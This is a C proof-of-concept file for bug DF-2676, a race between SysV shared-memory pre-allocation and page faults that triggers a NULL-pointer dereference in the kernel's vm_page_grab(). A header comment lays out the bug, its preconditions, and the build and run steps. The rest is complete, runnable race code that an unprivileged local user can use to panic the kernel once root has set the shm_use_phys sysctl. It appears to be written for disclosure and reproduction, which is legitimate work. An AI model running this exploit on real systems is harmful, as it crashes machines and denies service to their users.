DF-2676 / shm_grab_race.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 | /* * DF-2676 proof-of-concept: NULL-pointer dereference in vm_page_grab() * (sys/vm/vm_page.c) reached from the SysV-shm pre-allocation loop in * shmget_allocate_segment() (sys/kern/sysv_shm.c:582). * * Bug: vm_page_grab() calls vm_page_lookup_busy_try(..., TRUE, &error); * when the page exists but is busy (PBUSY_LOCKED) and the caller did NOT * pass VM_ALLOC_RETRY, the code does: * * m = NULL; * break; * ... * if (m->valid == 0) { <-- NULL deref (vm_page.c:3882) * * The only in-tree caller without VM_ALLOC_RETRY is the SysV shm * pre-allocation loop (VM_ALLOC_SYSTEM | VM_ALLOC_NULL_OK | VM_ALLOC_ZERO), * which runs *after* the segment has been published (sysv_shm.c:553), so a * concurrent shmat() + page fault on the same pindex holds the page busy * (vm_fault busies the page from allocation until pmap_enter/wakeup) and * the pre-allocation's vm_page_grab() hits the error path -> kernel * panics reading (struct vm_page *)NULL->valid. * * Preconditions: kern.ipc.shm_use_phys >= 2 (root sets it; default is 1). * Trigger: unprivileged local user. * * Build: cc -O2 -Wall -o shm_grab_race shm_grab_race.c * Run: ./shm_grab_race (as any user, after root set the sysctl) * Expect: kernel panic "Fatal trap 12: page fault while in kernel mode", * faulting address = offsetof(struct vm_page, valid) (small value), * proc = the shmget'ing process, call path vm_page_grab. */ #include <sys/types.h> #include <sys/ipc.h> #include <sys/shm.h> #include <sys/signal.h> #include <sys/stat.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <errno.h> #include <sys/wait.h> #define TOKFILE "/tmp/.df2676_tok" #define SEGSZ (32UL * 1024 * 1024) /* 8192 pages per segment */ #define NFAULT 6 /* faulter processes */ #define ITERS 8192 /* shmget iterations */ static volatile sig_atomic_t stop; static int stale_dist = 64; /* RMID only keys this stale (0 = RMID now) */ static int iters = ITERS; static key_t makekey(int i) { return ftok(TOKFILE, (int)('a' + (i % 26))); } static void creator(void) { int i, shmid, old; for (i = 0; i < iters && !stop; i++) { key_t key = makekey(i); shmid = shmget(key, SEGSZ, IPC_CREAT | IPC_EXCL | 0666); if (shmid < 0) { if (errno == EEXIST) { /* * Only reclaim keys far in the past so we * never IPC_RMID a segment a faulter may * still hold attached (avoids the unrelated * shmat-vs-RMID teardown race). */ if (stale_dist == 0 || i >= stale_dist) { old = shmget(key, 0, 0); if (old >= 0) shmctl(old, IPC_RMID, NULL); } } usleep(100); continue; } /* * pre-allocation loop (and thus the race window) runs * INSIDE the shmget above; give faulters time to swarm it. */ usleep(2000); /* * Recycle commit space: RMID a key so stale that no faulter * can still be attached (faulters trail the creator by only * a couple of keys). Avoids the unrelated shmat-vs-RMID * teardown race while keeping shm_committed from filling up. */ if (stale_dist > 0 && i >= stale_dist) { key_t okey = makekey(i - stale_dist); old = shmget(okey, 0, 0); if (old >= 0) shmctl(old, IPC_RMID, NULL); } } } static void faulter(int seed) { int i, pass, shmid, tries; char *p; unsigned long off; for (i = 0; i < iters && !stop; i++) { key_t key = makekey(i); shmid = -1; for (tries = 0; tries < 4000; tries++) { shmid = shmget(key, 0, 0); if (shmid >= 0) break; if (i == 0 && tries < 100) { usleep(200); continue; } usleep(50); } if (shmid < 0) continue; /* * Repeatedly map/scan the segment so our faults interleave * with (and cross) the kernel's pre-allocation loop. */ for (pass = 0; pass < 3 && !stop; pass++) { p = shmat(shmid, NULL, 0); if (p == (void *)-1) break; for (off = ((unsigned long)seed * 4096) % SEGSZ; off < SEGSZ; off += 4096) p[off] = (char)1; /* write fault */ shmdt(p); } } } int main(int argc, char **argv) { int i; pid_t pid; FILE *f; if (argc > 1) stale_dist = atoi(argv[1]); /* 0 = aggressive RMID churn */ if (argc > 2) iters = atoi(argv[2]); f = fopen(TOKFILE, "w"); if (f) { fclose(f); chmod(TOKFILE, 0666); } printf("DF-2676: racing shmget() pre-allocation vs shmat() faults\n"); printf("usage: %s [stale_dist=%d] [iters=%d]\n", argv[0], stale_dist, iters); printf("run as unprivileged user after: sysctl kern.ipc.shm_use_phys=2\n"); fflush(stdout); for (i = 0; i < NFAULT; i++) { pid = fork(); if (pid == 0) { faulter(i + 1); _exit(0); } } creator(); stop = 1; usleep(100000); while (waitpid(-1, NULL, WNOHANG) > 0) ; printf("DF-2676: iteration complete, no panic this round\n"); return 0; } |